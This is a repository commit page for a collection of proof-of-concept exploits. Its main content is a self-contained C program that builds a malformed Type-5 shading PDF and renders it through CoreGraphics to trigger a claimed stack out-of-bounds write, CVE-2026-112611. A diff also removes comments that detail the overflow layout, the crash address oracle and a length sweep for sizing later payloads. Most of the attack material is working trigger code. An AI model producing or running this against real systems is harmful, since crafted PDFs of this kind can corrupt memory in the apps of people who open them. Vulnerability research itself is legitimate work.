v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+186
View File
@@ -0,0 +1,186 @@
// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611
// Type-5 shading stack overflow (value-controlled OOB write)
// C twin of the Swift POC: builds the same seed PDF and renders it through CGPDFDocument.
// Build: clang -O2 -o cve-2026-112611 CVE-2026-112611.c -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112611 [range-dim]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── bit writer (MSB-first) ──
typedef struct { buf out; uint8_t acc; int nbits; } bitwriter;
static void bw_put(bitwriter *w, uint32_t value, int width) {
if (width <= 0) return;
for (int i = width - 1; i >= 0; i--) {
w->acc = (uint8_t)((w->acc << 1) | ((value >> i) & 1));
if (++w->nbits == 8) { bput(&w->out, w->acc); w->acc = 0; w->nbits = 0; }
}
}
static void bw_flush(bitwriter *w) {
if (w->nbits > 0) { bput(&w->out, (uint8_t)(w->acc << (8 - w->nbits))); w->acc = 0; w->nbits = 0; }
}
// ── PDF object builder ──
#define MAXOBJ 16
typedef struct {
int n[MAXOBJ];
char dict[MAXOBJ][512];
buf stream[MAXOBJ];
int has_stream[MAXOBJ];
int count;
} pdfbuilder;
static void pdf_add(pdfbuilder *p, int n, const char *dict, const uint8_t *stream, size_t streamlen) {
if (p->count >= MAXOBJ || n >= MAXOBJ) return;
p->n[p->count] = n;
snprintf(p->dict[p->count], sizeof(p->dict[p->count]), "%s", dict);
if (stream) { bcat(&p->stream[p->count], stream, streamlen); p->has_stream[p->count] = 1; }
p->count++;
}
static buf pdf_data(pdfbuilder *p) {
buf out = {0};
bcat(&out, "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n", 14);
int offsets[MAXOBJ] = {0};
int maxobj = 0;
for (int i = 0; i < p->count; i++) {
if (p->n[i] > maxobj) maxobj = p->n[i];
}
// emit in ascending object order
for (int target = 1; target <= maxobj; target++) {
for (int i = 0; i < p->count; i++) {
if (p->n[i] != target) continue;
offsets[target] = (int)out.n;
char line[64];
snprintf(line, sizeof(line), "%d 0 obj\n", target);
bcat(&out, line, strlen(line));
bcat(&out, p->dict[i], strlen(p->dict[i]));
if (p->has_stream[i]) {
bcat(&out, "\nstream\n", 8);
bcat(&out, p->stream[i].d, p->stream[i].n);
bcat(&out, "\nendstream", 10);
}
bcat(&out, "\nendobj\n", 8);
}
}
size_t xrefpos = out.n;
char line[128];
snprintf(line, sizeof(line), "xref\n0 %d\n0000000000 65535 f \n", maxobj + 1);
bcat(&out, line, strlen(line));
for (int t = 1; t <= (maxobj > 0 ? maxobj : 1); t++) {
snprintf(line, sizeof(line), "%010d 00000 n \n", offsets[t]);
bcat(&out, line, strlen(line));
}
snprintf(line, sizeof(line), "trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%zu\n%%%%EOF\n",
maxobj + 1, xrefpos);
bcat(&out, line, strlen(line));
return out;
}
// ── seed construction (from Cinder27 Sources: PDFPayload.shading) ──
static buf pdf_shading(int rangedim, double value, int vertices_per_row, int rows) {
const int bp_coord = 32, bp_comp = 8;
bitwriter bw = {0};
for (int r = 0; r < rows; r++) {
for (int c = 0; c < vertices_per_row; c++) {
bw_put(&bw, 0x10000000u + (uint32_t)c * 0x08000000u, bp_coord);
bw_put(&bw, 0x10000000u + (uint32_t)r * 0x08000000u, bp_coord);
bw_put(&bw, 0, bp_comp);
}
}
bw_flush(&bw);
char cval[32];
snprintf(cval, sizeof(cval), "%.17g", value);
char list[4096] = "", rangelist[4096] = "";
int nd = rangedim > 0 ? rangedim : 1;
for (int i = 0; i < nd; i++) {
if (i) { strcat(list, " "); strcat(rangelist, " "); }
strcat(list, cval);
strcat(rangelist, "0 1");
}
char dict5[512], dict6[2048];
snprintf(dict5, sizeof(dict5),
"<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate %d /BitsPerComponent %d "
"/VerticesPerRow %d /Decode [0 200 0 200 0 1] /Function 6 0 R /Length %zu >>",
bp_coord, bp_comp, vertices_per_row, bw.out.n);
snprintf(dict6, sizeof(dict6),
"<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [%s] /C1 [%s] /Range [%s] >>",
list, list, rangelist);
pdfbuilder p = {0};
pdf_add(&p, 1, "<< /Type /Catalog /Pages 2 0 R >>", NULL, 0);
pdf_add(&p, 2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>", NULL, 0);
pdf_add(&p, 3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>", NULL, 0);
pdf_add(&p, 4, "<< /Length 8 >>", (const uint8_t *)" /Sh1 sh", 8);
pdf_add(&p, 5, dict5, bw.out.d, bw.out.n);
pdf_add(&p, 6, dict6, NULL, 0);
bfree(&bw.out);
return pdf_data(&p);
}
// ── trigger: render the PDF through CoreGraphics ──
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int render_pdf(const buf *pdf, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, pdf->d, (CFIndex)pdf->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
CFRelease(cf);
if (!prov) { *detail = "CGDataProviderCreateWithCFData failed"; return -1; }
CGPDFDocumentRef doc = CGPDFDocumentCreateWithProvider(prov);
CGDataProviderRelease(prov);
if (!doc) { *detail = "CGPDFDocumentCreateWithProvider failed (file refused)"; return -1; }
CGPDFPageRef page = CGPDFDocumentGetPage(doc, 1);
if (!page) { *detail = "no page 1"; CGPDFDocumentRelease(doc); return -1; }
const int pixels = 256, bpr = pixels * 4;
uint8_t *buffer = calloc((size_t)bpr * pixels, 1);
CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr,
CGColorSpaceCreateDeviceRGB(),
kCGImageAlphaPremultipliedLast);
if (!ctx) { free(buffer); *detail = "CGBitmapContextCreate failed"; CGPDFDocumentRelease(doc); return -1; }
CGContextSetRGBFillColor(ctx, 1, 1, 1, 1);
CGContextFillRect(ctx, CGRectMake(0, 0, pixels, pixels));
// === trigger ===
CGContextDrawPDFPage(ctx, page);
static char result[128];
int mid = bpr * (pixels / 2) + (pixels / 2) * 4;
snprintf(result, sizeof(result), "render complete; centre pixel RGBA = %u,%u,%u,%u",
buffer[mid], buffer[mid + 1], buffer[mid + 2], buffer[mid + 3]);
*detail = result;
CGContextRelease(ctx);
free(buffer);
CGPDFDocumentRelease(doc);
return 0;
}
int main(int argc, char **argv) {
int rangedim = argc > 1 ? atoi(argv[1]) : 136;
buf pdf = pdf_shading(rangedim, 1.0, 2, 2);
char name[64];
snprintf(name, sizeof(name), "crash_shading_r%d.pdf", rangedim);
FILE *f = fopen(name, "wb");
if (f) { fwrite(pdf.d, 1, pdf.n, f); fclose(f); }
const char *detail = NULL;
int rc = render_pdf(&pdf, &detail);
printf("CVE-2026-112611 · R=%d vs nc=1 · %s\n", rangedim, detail ? detail : "?");
printf("seed: %s (%zu B) · exit code %d\n", name, pdf.n, rc);
bfree(&pdf);
return rc == 0 ? 0 : 1;
}
+2 -39
View File
@@ -1,30 +1,7 @@
// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] Type-5 阴影栈溢出(值可控 OOB 写)
// /ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条
// 72 字节网格记录,颜色区位于记录 +0x20、容量为 nc×8 字节,随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段(即 /Range
// 维度)为上界,向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca,故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。
//
// [en] Type-5 shading stack overflow (value-controlled OOB write)
// A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the
// component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh
// record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then
// calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension)
// and writes that many doubles into the colour area. No comparison exists between the write length
// and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate,
// so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and
// the saved registers in order.
// ── 判别 / oracle ──
// 取 R=136、nc=1、/C0=/C1=1.0 时,每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽;
// 循环退出比较读到被覆盖后的计数后继续执行,随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c,
// 其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典,draw 代码两侧字节完全一致,属纯闸门修复。
// 变体 cg.shading.sweep: 溢出长度扫描(找吸收阈值)
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -45,22 +22,8 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// cg.shading.sweep · CoreGraphics · Type-5 shading · CVE-2026-112611
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] 溢出长度扫描(找吸收阈值)
// 短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256,逐一记录是否仍能完成渲染,从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。
//
// [en] Overflow length sweep (finding the absorption threshold)
// A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough
// to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering
// still completes, and thereby maps the real boundary of the stack layout on this build. That threshold
// sets the length budget for every subsequent payload.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ──
// ── seed construction (from Cinder27 Sources: PDFPayload) ──
enum PDFPayload {
struct BitWriter {
private(set) var out: [UInt8] = []